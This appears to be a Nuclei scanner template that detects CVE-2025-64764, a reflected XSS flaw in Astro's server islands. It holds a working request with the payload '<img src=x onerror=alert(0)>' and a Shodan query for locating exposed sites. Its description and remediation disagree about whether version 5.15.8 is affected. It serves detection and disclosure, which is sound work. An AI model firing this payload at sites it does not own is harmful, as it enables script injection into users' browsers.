Astro - Reflected XSS via server islands feature

id: CVE-2025-64764

info:
  name: Astro - Reflected XSS via server islands feature
  author: DhiyaneshDk,zhero___
  severity: high
  description: |
    Astro 5.15.8 contains a reflected XSS caused by improper handling of server islands feature, letting remote attackers execute scripts, exploit requires use of server islands in the application.
  impact: |
    Remote attackers can execute scripts in users' browsers, potentially leading to session hijacking or data theft.
  remediation: |
    Update to version 5.15.8 or later.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/unlocking-reflected-xss-in-the-astro-framework
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"_server-islands"
  tags: cve,cve2025,astro,xss,vkev

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    host-redirects: true
    max-redirects: 2

    matchers:
      - type: regex
        part: body
        regex:
          - '/_server-islands/[^?]+\?e='
        internal: true

    extractors:
      - type: regex
        name: value
        part: body
        internal: true
        group: 1
        regex:
          - '/_server-islands/([^?]+)\?e='

  - raw:
      - |
        GET /_server-islands/{{value}}?e=file&p=&s={"{{rand}}":"<img+src=x+onerror=alert(0)>"} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<img src=x onerror=alert(0)>")'
        condition: and
# digest: 490a0046304402203f7807a14b8f6c0b959619f03bd941f32655aa23522fb6b617415dc8183bb4d402206b28ecbadc36a36720613b90649fff66d30c890e9dbb22022c4387b4f6b43194:922c64590222798bb761d5b6d8e72950